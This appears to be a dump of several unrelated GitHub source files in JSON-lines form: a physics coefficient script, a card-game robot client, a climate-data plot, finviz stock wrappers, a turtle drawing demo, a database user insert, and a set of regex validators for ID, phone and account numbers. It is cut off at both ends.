wigner_3j_dict[str((l,1,l_prime,0,0,0))] = float(wigner_3j(l,1,l_prime,0,0,0))\n \n \nwith open(\"W3J_Long.json\", 'w') as file:\n json.dump(wigner_3j_dict, file, separators=(','+'\\n', ': '))\n\n\n# with open(\"wigner_3j.json\") as file:\n# wigner_3j_dict = json.load(file)\n\n\n# print(wigner_3j_dict.keys())","repo_name":"yonas-abera-gebre/TDSE","sub_path":"Utility/Wigner_3j.py","file_name":"Wigner_3j.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39585083340","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\nfrom Utils import log\nimport socketio,engineio,copy,json,time,os\nimport numpy as np\nimport code\nfrom __init__ import robot_dict\n\nif not os.path.exists('Records'):\n os.makedirs('Records')\n log(\"create dir: Records\")\nimport socket\n\ndef get_ip():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n try:\n # doesn't even have to be reachable\n s.connect(('10.255.255.255', 1))\n IP = s.getsockname()[0]\n except Exception:\n IP = '127.0.0.1'\n finally:\n s.close()\n return IP\n\n\nclass RobotFamily:\n def __init__(self,url):\n self.name = get_ip()\n self.members = []\n self.sio = socketio.Client()\n self.url = url\n\n pt = self\n self.a = 0\n self.turn = 0\n\n @self.sio.event\n def connect():\n log(\"robot_dict: %s\"%(robot_dict))\n self.sendmsg('update_sid',{'robot_list':list(robot_dict.keys()),'name':self.name})\n log(\"connected to server %s\" % (pt.url))\n if self.turn == 10000:\n for pl in self.members:\n resnp = np.array(pl.res)\n print('{} mean:{} var:{}'.format(pl.name,resnp.mean(),np.sqrt(resnp.var()))) #?\n self.sio.disconnect()\n return\n for rb in self.members:\n self.sendmsg('request_info',{'user':rb.name})\n pt.a = time.time()\n\n @self.sio.event\n def disconnect():\n self.turn += 1\n log(\"disconnect from server %s\" % (pt.url))\n\n @self.sio.on('login_reply')\n def login_reply(data):\n pt.loginreply(data)\n\n @self.sio.on('your_robots')\n def your_robots(data):\n pt.yourrobots(data)\n\n @self.sio.on('create_room_reply')\n def create_room_reply(data):\n pt.createroomreply(data)\n\n @self.sio.on('enter_room_reply')\n def enter_room_reply(data):\n pt.enterroomreply(data)\n\n @self.sio.on('ready_for_start_reply')\n def ready_for_start_reply(data):\n pt.readyforstartreply(data)\n\n @self.sio.on('player_info')\n def player_info(data):\n pt.playerinfo(data)\n\n @self.sio.on('shuffle')\n def shuffle(data):\n pt.shuffle(data)\n\n @self.sio.on('update')\n def update(data):\n pt.update(data)\n\n @self.sio.on('your_turn')\n def your_turn(data):\n pt.yourturn(data)\n\n @self.sio.on('my_choice_reply')\n def my_choice_reply(data):\n pt.mychoicereply(data)\n\n @self.sio.on('logout_reply')\n def logout_reply(data):\n pt.logoutreply(data)\n\n @self.sio.on('trick_end')\n def trickend(data):\n pt.trickend(data)\n\n @self.sio.on('game_end')\n def game_end(data):\n pt.gameend(data)\n\n @self.sio.on('new_game_reply')\n def newgamereply(data):\n pt.newgamereply(data)\n\n @self.sio.on('choose_place_reply')\n def choose_place_reply(data):\n pt.chooseplacereply(data)\n\n @self.sio.on('request_info_reply')\n def request_info_reply(data):\n pt.recovery(data)\n\n @self.sio.on('error')\n def error(data):\n pt.error(data)\n\n @self.sio.on('add_robot')\n def add_robot(data):\n pt.addrobot(data)\n\n @self.sio.on('cancel_player')\n def cancel(data):\n print('cancel this robot')\n data = self.strip_data(data)\n name = data['user']\n self.cancel_player(name)\n\n def yourrobots(self,data):\n data = self.strip_data(data)\n rbl = data[\"list\"]\n for name in rbl:\n pl = self.find_player(name)\n if pl is None:\n import re\n parttern = re.compile(r'[0-9]')\n len0 = parttern.search(name).span()\n print(len0)\n len0 = len0[0]\n rbtype = name[:len0]\n robot = robot_dict[rbtype]\n self.add_member(-1,-1,robot,name = name,requir_enter = False)\n self.sendmsg('request_info',{'user':name})\n\n\n def recovery(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n player.state = data['state']\n\n if player.state == 'logout':\n #self.cancel_player(player.name)\n return\n if player.state == 'login':\n if player.room > 0:\n self.sendmsg('enter_room',{'user':player.name,'room':player.room})\n else:\n pass\n #self.cancel_player(player.name)\n return\n if player.state == 'room':\n if player.room > 0:\n self.sendmsg('choose_place', {'user': player.name, 'room': player.room, 'place': player.place})\n else:\n #self.cancel_player(player.name)\n pass\n return\n\n player.room = data['room']\n player.place = data['place']\n player.players_information = copy.deepcopy(data['players'])\n if player.state == 'wait':\n self.sendmsg('ready_for_start', {'user': player.name})\n return\n\n player.cards_list = copy.deepcopy(data['cards_remain'])\n player.cards_on_table = []\n player.cards_on_table.append(data['trick_start'])\n player.cards_on_table.extend(data['this_trick'])\n player.history = copy.deepcopy(data['history'])\n player.initial_cards = copy.deepcopy(data['initial_cards'])\n\n if player.state == 'end':\n player.scores = copy.deepcopy(data['scores'])\n player.scores_num = copy.copy(data['scores_num'])\n #print('data:{}'.format(data['scores_num']))\n player.gameend()\n self.sendmsg('new_game',{'user':player.name})\n return\n if player.state == 'play_a_card':\n card = player.pick_a_card()\n print('sending choice')\n time.sleep(2)\n self.sendmsg('my_choice', {'user': player.name, 'card': card})\n return\n\n def connect(self):\n self.sio.connect(self.url)\n #time.sleep(1)\n\n def sendmsg(self, cmd, dict):\n log(\"sending %s: %s to server\" % (cmd, dict))\n for retry_num in range(2): # default not retry\n try:\n self.sio.emit(cmd, json.dumps(dict))\n break\n except:\n log(\"unknown error, retry_num: %d\" % (retry_num), l=3)\n else:\n log(\"send failed\", l=2)\n return 2\n return 0\n\n def strip_data(self,data):\n try:\n data = json.loads(data)\n except:\n log(\"parse data error: %s\" % (data), l=2)\n self.sendmsg('error', {'detail': 'json.load(data) error'})\n return 1\n return data\n\n def make_a_name(self,robot):\n ap = 0\n Flag = True\n name = ''\n while (Flag):\n Flag = False\n name = robot.family_name() + str(ap)\n for rb in self.members:\n if name == rb.name:\n ap += 1\n Flag = True\n break\n return name\n\n def add_member(self, room, place, robot, master = 'MrLi',name = None, requir_enter = True):\n if name is None:\n name = self.make_a_name(robot)\n rb = robot(room, place, name)\n rb.master = master\n self.members.append(rb)\n #'login': {\"user\": \"name\", \"user_pwd\": \"pwd\", \"room\": roomid}\n #TODO:place, robot password\n if requir_enter:\n self.sendmsg('login',{\"user\":name,\"user_pwd\":-1,\"is_robot\":True,\"robot_type\":robot.family_name()})\n return name\n\n def find_player(self,name):\n for rb in self.members:\n if rb.name == name:\n return rb\n return None\n\n def loginreply(self,data):\n data = self.strip_data(data)\n if isinstance(data,int):\n print('data error')\n return\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error',{'detail':\"no such player\"})\n return\n if not player.state == 'logout':\n\n return\n player.state = 'login'\n if not player.creator:\n self.sendmsg('enter_room',{'user':player.name,'room':player.room})\n else:\n self.sendmsg('create_room', {'user': player.name, 'room':'Q'})\n #player.players_information = copy.deepcopy(data[\"players\"])\n\n def createroomreply(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n if not player.state == 'login':\n return\n\n player.state = 'wait'\n player.room = data['room_id']\n player.place = 0\n player.players_information = copy.deepcopy(data[\"players\"])\n self.sendmsg('ready_for_start', {'user': player.name})\n\n def enterroomreply(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n if not player.state == 'login':\n return\n\n player.state = 'room'\n self.sendmsg('choose_place', {'user':player.name,'room':player.room,'place':player.place,'master':player.master})\n\n def chooseplacereply(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'user':player.name,'detail': \"no such player\"})\n return\n if not player.state == 'room':\n return\n\n if not data['success']:\n self.sendmsg('error',{'user':player.name,'detail':'robot can\\'t sit down'})\n return\n\n player.state = 'wait'\n self.sendmsg('ready_for_start',{'user':player.name})\n\n def readyforstartreply(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'user': player.name, 'detail': \"no such player\"})\n return\n if not player.state == 'wait':\n return\n\n player.state = 'before_start'\n\n def playerinfo(self,data):\n data = self.strip_data(data)\n if isinstance(data,int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n player.players_information = copy.deepcopy(data[\"players\"])\n\n def shuffle(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n player = self.find_player(data['user'])\n\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n if not player.state == 'before_start':\n return\n\n player.history = []\n player.cards_on_table = []\n\n player.initial_cards = copy.deepcopy(data[\"cards\"])\n player.cards_list = copy.deepcopy(data[\"cards\"])\n player.scores = [[],[],[],[]]\n player.state = 'trick_before_play'\n player.shuffle()\n\n def update(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n cards_on_table = copy.deepcopy(data['this_trick'])\n start = data['trick_start']\n\n player.cards_on_table = []\n player.cards_on_table.append(start)\n player.cards_on_table.extend(cards_on_table)\n player.update()\n\n def yourturn(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n if not player.state == 'trick_before_play':\n log(player.state,l=2)\n return\n player.state = 'play_a_card'\n\n start_time = time.time()\n card = player.pick_a_card()\n end_time = time.time()\n all_time = float(end_time) - float(start_time)\n\n try:\n if all_time<1 and not player.train:\n time.sleep(1-all_time)\n except:\n if all_time<1:\n time.sleep(1-all_time)\n self.sendmsg('my_choice', {'user': player.name, 'card':card})\n\n def mychoicereply(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n if not player.state == 'play_a_card':\n return\n\n tmp = len(player.cards_list)\n player.cards_list= copy.deepcopy(data['your_remain'])\n if not tmp == len(player.cards_list):\n player.state = 'trick_after_play'\n #self.sendmsg('error', {'user': player.name, 'detail': 'just test'})\n #('recevive choice reply')\n else:\n card = player.pick_a_card()\n self.sendmsg('my_choice', {'user': player.name, 'card': card})\n\n\n def logoutreply(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n index = 0\n for i,mem in enumerate(self.members):\n if mem.name == data['user']:\n index = i\n break\n\n self.members.pop(index)\n\n def trickend(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n if not player.state == 'trick_after_play':\n return\n\n player.scores = copy.deepcopy(data['scores'])\n player.history.append(player.cards_on_table)\n player.cards_on_table = []\n player.state = 'trick_before_play'\n player.trickend()\n\n def gameend(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n if not player.state == 'trick_before_play':\n return\n\n player.scores = copy.deepcopy(data['scores'])\n player.scores_num = data['scores_num']\n player.gameend()\n\n player.state = 'end'\n\n self.sendmsg('new_game',{'user':data['user']})\n\n #self.cancel_player(player.name)\n\n def newgamereply(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n if not player.state == 'end':\n return\n\n player.state = 'wait'\n self.sendmsg('ready_for_start',{'user':player.name})\n\n def error(self,data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n if 'user' in data:\n player = self.find_player(data['user'])\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n\n log('%s:%s'%(data['user'],data['detail']),l = 1)\n\n else:\n log(data['detail'],l = 1)\n\n def cancel_player(self,name):\n player = self.find_player(name)\n if not player:\n self.sendmsg('error', {'detail': \"no such player\"})\n return\n if not player.state == 'before_start':\n return\n self.sendmsg('logout',{'user':name})\n\n def addrobot(self, data):\n data = self.strip_data(data)\n if isinstance(data, int):\n return\n\n rb_name = data['robot']\n room = data['room']\n place = data['place']\n rb = robot_dict[rb_name]\n\n self.add_member(room,place,rb,master=data['master'])\n\n def close_family(self):\n name_list = copy.deepcopy(self.members)\n for rb in name_list:\n self.cancel_player()\n if len(self.members) == 0:\n self.sio.disconnect()\n log(\"disconnect from server\")\n\n def create_room(self,robot):\n name = self.make_a_name(robot)\n self.members.append(robot(0, 0, name,True))\n # 'login': {\"user\": \"name\", \"user_pwd\": \"pwd\", \"room\": roomid}\n # TODO:place, robot password\n self.sendmsg('login', {\"user\": name, \"user_pwd\": -1})\n\n\nif __name__==\"__main__\":\n from ast import literal_eval\n with open(\"config.json\",'r') as f:\n config=literal_eval(f.read()) #a dict like: {\"port\":9000}\n log(\"read log from %s: %s\"%(f.name,config))\n log(\"You are using socketio %s, engineio %s\"%(socketio.__version__,engineio.__version__))\n fm = RobotFamily('http://%s:%d'%(config[\"ip\"],config[\"port\"]))\n fm.connect()\n #code.interact(banner = \"\", local = locals())\n\n","repo_name":"Gongzhu-Society/Arena_Client","sub_path":"FSMClient.py","file_name":"FSMClient.py","file_ext":"py","file_size_in_byte":18031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70446872109","text":"import numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfs =14\nbasedir = '/work/bb1018/b380873/model_output/ICON/'\nTQI_fi = xr.open_dataset(basedir + 'TQI_ALL_0.025deg_tropic_run2.nc')\nTQI = TQI_fi.tqi.sel(lon=slice(55,115)).values.flatten()\nTQI = TQI[(TQI >= 10**(-7)) & (TQI <= 10)]\nprint(np.nanmean(TQI))\n\nfig = plt.figure(figsize=(7,5))\nd = -4; u = 4; b = 40\nwgts = np.ones_like(TQI)/float(len(TQI))*100\nsns.distplot(TQI*1000,kde=False,hist=True,kde_kws={'shade':True,'linewidth':3},\\\n label=r'1-mom',bins=np.logspace(d,u,b),color='r',hist_kws={'weights':wgts})\n\n# Make sure the times correspond between datasets and that the lons\n# correspond to the smaller domain.\nbasedir = '/work/bb1018/b380873/model_output/ICON/'\nTQI_fi = xr.open_dataset(basedir + 'TQI_120-141_0.025deg_tropic_run5.nc')\nTQI = TQI_fi.tqi.values.flatten()\nTQI = TQI[(TQI >= 10**(-7)) & (TQI <= 10)]\nprint(np.nanmean(TQI))\n\nd = -4; u = 4; b = 40\nwgts = np.ones_like(TQI)/float(len(TQI))*100\nsns.distplot(TQI*1000,kde=False,hist=True,kde_kws={'shade':True,'linewidth':3},\\\n label=r'2-mom',bins=np.logspace(d,u,b),color='b',hist_kws={'weights':wgts})\n\nplt.xscale('log')\nplt.xlim([10**(-4),10**4])\nplt.xlabel(r'Ice water path [g m$^{-2}$]',fontsize=fs)\nplt.ylabel('Probability [%]',fontsize=fs)\nplt.legend()\nplt.gca().tick_params('both',labelsize=fs-2)\n\n#fig.savefig('./output/IWPdist.pdf',bbox_inches='tight')\nplt.show()\n\n","repo_name":"sylviasullivan/ice-microp-rad","sub_path":"ice/IWPdist.py","file_name":"IWPdist.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11823481560","text":"import argparse\nfrom colorama import Fore, Style\nimport finviz\nimport pandas as pd\nfrom pandas.core.frame import DataFrame\nfrom gamestonk_terminal.helper_funcs import check_positive, patch_pandas_text_adjustment\n\n\ndef category_color_red_green(val: str) -> str:\n if val == \"Upgrade\":\n return Fore.GREEN + val + Style.RESET_ALL\n if val == \"Downgrade\":\n return Fore.RED + val + Style.RESET_ALL\n return val\n\n\n# ---------------------------------------------------- INSIDER ----------------------------------------------------\ndef insider(l_args, s_ticker):\n parser = argparse.ArgumentParser(\n prog=\"insider\",\n description=\"\"\"\n Prints information about inside traders. The following fields are expected: Date, Relationship,\n Transaction, #Shares, Cost, Value ($), #Shares Total, Insider Trading, SEC Form 4. [Source: Finviz]\n \"\"\",\n )\n\n parser.add_argument(\n \"-n\",\n \"--num\",\n action=\"store\",\n dest=\"n_num\",\n type=check_positive,\n default=10,\n help=\"number of latest inside traders.\",\n )\n\n try:\n (ns_parser, l_unknown_args) = parser.parse_known_args(l_args)\n\n if l_unknown_args:\n print(f\"The following args couldn't be interpreted: {l_unknown_args}\\n\")\n return\n\n d_finviz_insider = finviz.get_insider(s_ticker)\n df_fa = pd.DataFrame.from_dict(d_finviz_insider)\n df_fa.set_index(\"Date\", inplace=True)\n df_fa = df_fa[\n [\n \"Relationship\",\n \"Transaction\",\n \"#Shares\",\n \"Cost\",\n \"Value ($)\",\n \"#Shares Total\",\n \"Insider Trading\",\n \"SEC Form 4\",\n ]\n ]\n print(df_fa.head(n=ns_parser.n_num))\n\n print(\"\")\n\n except Exception as e:\n print(e)\n print(\"\")\n return\n\n\n# ---------------------------------------------------- NEWS ----------------------------------------------------\ndef news(l_args, s_ticker):\n parser = argparse.ArgumentParser(\n prog=\"news\",\n description=\"\"\"\n Prints latest news about company, including title and web link. [Source: Finviz]\n \"\"\",\n )\n\n parser.add_argument(\n \"-n\",\n \"--num\",\n action=\"store\",\n dest=\"n_num\",\n type=check_positive,\n default=5,\n help=\"Number of latest news being printed.\",\n )\n\n try:\n (ns_parser, l_unknown_args) = parser.parse_known_args(l_args)\n\n if l_unknown_args:\n print(f\"The following args couldn't be interpreted: {l_unknown_args}\\n\")\n return\n\n d_finviz_news = finviz.get_news(s_ticker)\n i = 0\n for s_news_title, s_news_link in {*d_finviz_news}:\n print(f\"-> {s_news_title}\")\n print(f\"{s_news_link}\\n\")\n i += 1\n\n if i > (ns_parser.n_num - 1):\n break\n\n print(\"\")\n\n except Exception as e:\n print(e)\n print(\"\")\n return\n\n\n# ---------------------------------------------------- ANALYST ----------------------------------------------------\ndef analyst_df(s_ticker: str) -> DataFrame:\n d_finviz_analyst_price = finviz.get_analyst_price_targets(s_ticker)\n df_fa = pd.DataFrame.from_dict(d_finviz_analyst_price)\n df_fa.set_index(\"date\", inplace=True)\n\n return df_fa\n\n\ndef analyst(l_args, s_ticker):\n parser = argparse.ArgumentParser(\n prog=\"analyst\",\n description=\"\"\"\n Print analyst prices and ratings of the company. The following fields are expected:\n date, analyst, category, price from, price to, and rating. [Source: Finviz]\n \"\"\",\n )\n\n parser.add_argument(\n \"-c\",\n \"--color\",\n action=\"store\",\n dest=\"n_color\",\n type=int,\n choices=[0, 1],\n default=1,\n help=\"Add / remove color\",\n )\n\n try:\n (ns_parser, l_unknown_args) = parser.parse_known_args(l_args)\n\n if l_unknown_args:\n print(f\"The following args couldn't be interpreted: {l_unknown_args}\\n\")\n return\n\n # d_finviz_analyst_price = finviz.get_analyst_price_targets(s_ticker)\n # df_fa = pd.DataFrame.from_dict(d_finviz_analyst_price)\n # df_fa.set_index(\"date\", inplace=True)\n\n df_fa = analyst_df(s_ticker)\n\n if ns_parser.n_color == 1:\n df_fa[\"category\"] = df_fa[\"category\"].apply(category_color_red_green)\n\n patch_pandas_text_adjustment()\n\n print(df_fa)\n print(\"\")\n\n except Exception as e:\n print(e)\n print(\"\")\n return\n","repo_name":"aia/GamestonkTerminal-old","sub_path":"gamestonk_terminal/due_diligence/finviz_api.py","file_name":"finviz_api.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"19380813351","text":"from turtle import Turtle, Screen, color\nimport time\nimport turtle\n\nTURTLE_SIZE = 20 #tamaño del jugador\nWORLD_SIZE = 100 #cuadrado de 100 x 100\nangleMap = {'N':90,'E':0,'S':270,'W':180} #Map para traducir direcciones en angulos de turtle\ncolorList = [\"red\", 'blue', 'yellow', 'green', 'orange', 'black']\n\n#players es una lista donde cada elemento es una terna de [x,y,dir]\n#la coordenada (0,0) está en el centro de la pantalla, por lo que x e y van de -WORLD_SIZE/2 hasta WORLD_SIZE/2\n#si las coordenadas a dibujar son de 0 a WORLD_SIZE, se deberá hacer la transformación correspondiente.\n#screen es la pantalla donde se dibuja\ndef updateWorld (players, screen):\n screen.clear() #Se puede comentar para ver la traza de cada tortuga\n i = 0\n for p in players:\n #creo a la tortuga pepe\n pepe = Turtle(shape=\"turtle\", visible=False)\n pepe.color (colorList[i])\n\n #para dibujar la tortuga en una pos inicial, se inicia oculta y se mueve a la pos deseada, luego se muestra\n pepe.speed(0)\n pepe.penup()\n pepe.goto((p[0]/(WORLD_SIZE/2))*(screen.window_width()/2-TURTLE_SIZE/2), (p[1]/(WORLD_SIZE/2))*(screen.window_height()/2-TURTLE_SIZE/2))\n pepe.tiltangle(angleMap.get(p[2]))\n pepe.showturtle()\n\n i = (i+1) % 6 #no acepta mas de 6 colores distintos, se puede extender la lista\n\n\n#ejemplo de uso\n\nscreen = Screen()\nscreen.setup(1000,1000)\nplayers = [[5,7,'N'],[20,30,'S'],[-40,3,'E'],[40,-10,'W']] #ver que las coordenadas van de -50 a 50 en este caso.\n#llamo a la función que dibuja la posición inicial de cada jugador\nupdateWorld (players, screen)\n\n#ejemplo de uso donde en cada iteración cada jugador avanza en su dirección inicial\nfor x in range(500):\n time.sleep(0.1)\n players[0][1] = players[0][1] + 0.5\n players[1][1] = players[1][1] - 0.5\n players[2][0] = players[2][0] + 0.5\n players[3][0] = players[3][0] - 0.5\n print(players)\n updateWorld (players, screen)\n","repo_name":"LucasLazogue/redes","sub_path":"drawWorld.py","file_name":"drawWorld.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20127323255","text":"import psycopg2\nfrom db.postgre import conectar_banco_dados\n\ndef novoUsuario(codigo_sistema, nome_do_usuario, descricao_do_usuario, senha, cpf):\n try:\n conn = conectar_banco_dados()\n\n cursor = conn.cursor()\n insert_query = \"\"\"\n INSERT INTO perfis_de_acesso (codigo_sistema, nome_do_perfil, descricao_do_usuario, senha, cpf)\n VALUES (%s, %s, %s, %s, %s)\n \"\"\"\n\n cursor.execute(insert_query, (codigo_sistema, nome_do_usuario, descricao_do_usuario, senha, cpf))\n conn.commit()\n\n cursor.close()\n conn.close()\n\n except psycopg2.Error as e:\n print(f\"Erro ao criar novo perfil: {e}\")\n\n","repo_name":"NarsheS/matriz_SoD","sub_path":"matriz_SoD-main/db/users/CRUD/criar_perfil.py","file_name":"criar_perfil.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8274371040","text":"\"\"\"\n@description: 账户识别模块 账户种类:\n 身份证号、手机号、电话号、邮箱、微信、支付宝账户、京东账户、微博、设备MAC号、设备IMEI号、\n 设备IMSI号、QQ号、QQ群、车牌号、车架号、发动机号、公司工商注册号\n@author: Cui Rui long\n@email: xiaocuikindle@163.com\n@time: 2019-07-08\n@version: 0.1.1\n\"\"\"\nimport re\nimport yaml\n\nfrom pprint import pprint\nfrom sementic_server.source.ner_task.entity_code import EntityCode\nfrom sementic_server.source.ner_task.system_info import SystemInfo\n\n\ndef is_legal_id_card(candidate):\n \"\"\"\n 判断身份证号码是否合法,包含15位和18位身份证号码两种情况\n :param candidate:\n :return:\n \"\"\"\n area = {\"11\": \"北京\", \"12\": \"天津\", \"13\": \"河北\", \"14\": \"山西\", \"15\": \"内蒙古\", \"21\": \"辽宁\", \"22\": \"吉林\", \"23\": \"黑龙江\",\n \"31\": \"上海\", \"32\": \"江苏\", \"33\": \"浙江\", \"34\": \"安徽\", \"35\": \"福建\", \"36\": \"江西\", \"37\": \"山东\", \"41\": \"河南\",\n \"42\": \"湖北\",\n \"43\": \"湖南\", \"44\": \"广东\", \"45\": \"广西\", \"46\": \"海南\", \"50\": \"重庆\", \"51\": \"四川\", \"52\": \"贵州\", \"53\": \"云南\",\n \"54\": \"西藏\",\n \"61\": \"陕西\", \"62\": \"甘肃\", \"63\": \"青海\", \"64\": \"宁夏\", \"65\": \"新疆\", \"71\": \"台湾\", \"81\": \"香港\", \"82\": \"澳门\",\n \"91\": \"国外\"}\n candidate = str(candidate)\n candidate = candidate.strip()\n candidate_list = list(candidate)\n\n if candidate[0:2] not in area:\n return False\n if len(candidate) == 15:\n if ((int(candidate[6:8]) + 1900) % 4 == 0 or (\n (int(candidate[6:8]) + 1900) % 100 == 0 and (int(candidate[6:8]) + 1900) % 4 == 0)):\n ereg = re.compile(\n r\"[1-9][0-9]{5}[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|\"\n r\"[1-2][0-9]|30)|02(0[1-9]|[1-2][0-9]))[0-9]{3}$\") # //测试出生日期的合法性\n else:\n ereg = re.compile(\n r\"[1-9][0-9]{5}[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|\"\n r\"[1-2][0-9]|30)|02(0[1-9]|1[0-9]|2[0-8]))[0-9]{3}$\") # //测试出生日期的合法性\n if re.match(ereg, candidate):\n return True\n else:\n return False\n elif len(candidate) == 18:\n # 出生日期的合法性检查\n # 闰年月日:((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|[1-2][0-9]))\n # 平年月日:((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|1[0-9]|2[0-8]))\n if int(candidate[6:10]) % 4 == 0 or (int(candidate[6:10]) % 100 == 0 and int(candidate[6:10]) % 4 == 0):\n # 闰年出生日期的合法性正则表达式\n ereg = re.compile(\n r\"[1-9][0-9]{5}(19[0-9]{2}|20[0-9]{2})((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|\"\n r\"(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|[1-2][0-9]))[0-9]{3}[0-9Xx]$\")\n else:\n # 平年出生日期的合法性正则表达式\n ereg = re.compile(\n r\"[1-9][0-9]{5}(19[0-9]{2}|20[0-9]{2})((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|\"\n r\"(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|1[0-9]|2[0-8]))[0-9]{3}[0-9Xx]$\")\n # 测试出生日期的合法性\n if re.match(ereg, candidate):\n # 计算校验位\n S = (int(candidate_list[0]) + int(candidate_list[10])) * 7 + (\n int(candidate_list[1]) + int(candidate_list[11])) * 9 + (\n int(candidate_list[2]) + int(candidate_list[12])) * 10 + (\n int(candidate_list[3]) + int(candidate_list[13])) * 5 + (\n int(candidate_list[4]) + int(candidate_list[14])) * 8 + (\n int(candidate_list[5]) + int(candidate_list[15])) * 4 + (\n int(candidate_list[6]) + int(candidate_list[16])) * 2 + int(candidate_list[7]) * 1 + int(\n candidate_list[8]) * 6 + int(candidate_list[9]) * 3\n Y = S % 11\n JYM = \"10X98765432\"\n M = JYM[Y] # 判断校验位\n if M == candidate_list[17]: # 检测ID的校验位\n return True\n else:\n return False\n else:\n return False\n return True\n\n\ndef is_email(candidate):\n \"\"\"\n 判断candidate是否为合法的邮箱账户\n :param candidate:\n :return:\n \"\"\"\n pattern_email = r\"([0-9a-zA-Z_!#$%&'*+/=?^_`{|}~-]+(?:\\.[\\w!#$%&'*+/=?^_`{|}~-]+)*@(?:[\\w](?:[\\w-]*[\\w])?\\.)+[\" \\\n r\"\\w](?:[\\w-]*[0-9a-zA-Z_])?)$\"\n result = re.match(pattern_email, candidate)\n if result is not None:\n return True\n return False\n\n\ndef is_phone(candidate):\n \"\"\"\n 判断candidate是否为合法的电话号码\n :param candidate:\n :return:\n \"\"\"\n pattern_phone = r\"^((\\d{3}-\\d{7,8})|(\\d{4}-\\d{7,8}))$\"\n result = re.match(pattern_phone, candidate)\n if result is not None:\n return True\n return False\n\n\ndef is_mobile_phone(candidate):\n \"\"\"\n 判断candidate是否为合法的手机号码\n :param candidate:\n :return:\n \"\"\"\n pattern_mobile_phone = r\"^((13[0-9]|14[0-9]|15[0-9]|166|17[0-9]|18[0-9]|19[8|9])\\d{8})$\"\n result = re.match(pattern_mobile_phone, candidate)\n if result is not None:\n return True\n return False\n\n\ndef is_wechat_candidate(candidate):\n \"\"\"\n 判断candidate是否为合法的微信号码\n :param candidate:\n :return:\n \"\"\"\n pattern_wechat = r\"^([a-zA-Z]([-_a-zA-Z0-9]{5,19})+)$\"\n result = re.match(pattern_wechat, candidate)\n if result is not None:\n return True\n return False\n\n\ndef is_qq(candidate):\n \"\"\"\n 判断candidate是否为合法的 QQ 号码\n :param candidate:\n :return:\n \"\"\"\n pattern_qq = r\"(^[1-9][0-9]{4,12})$\"\n result = re.match(pattern_qq, candidate)\n if result is not None:\n return True\n return False\n\n\ndef is_imei(candidate):\n \"\"\"\n 判断设备IMEI号码\n :param candidate:\n :return:\n \"\"\"\n pattern_imei = r\"^(\\d{15})$\"\n result = 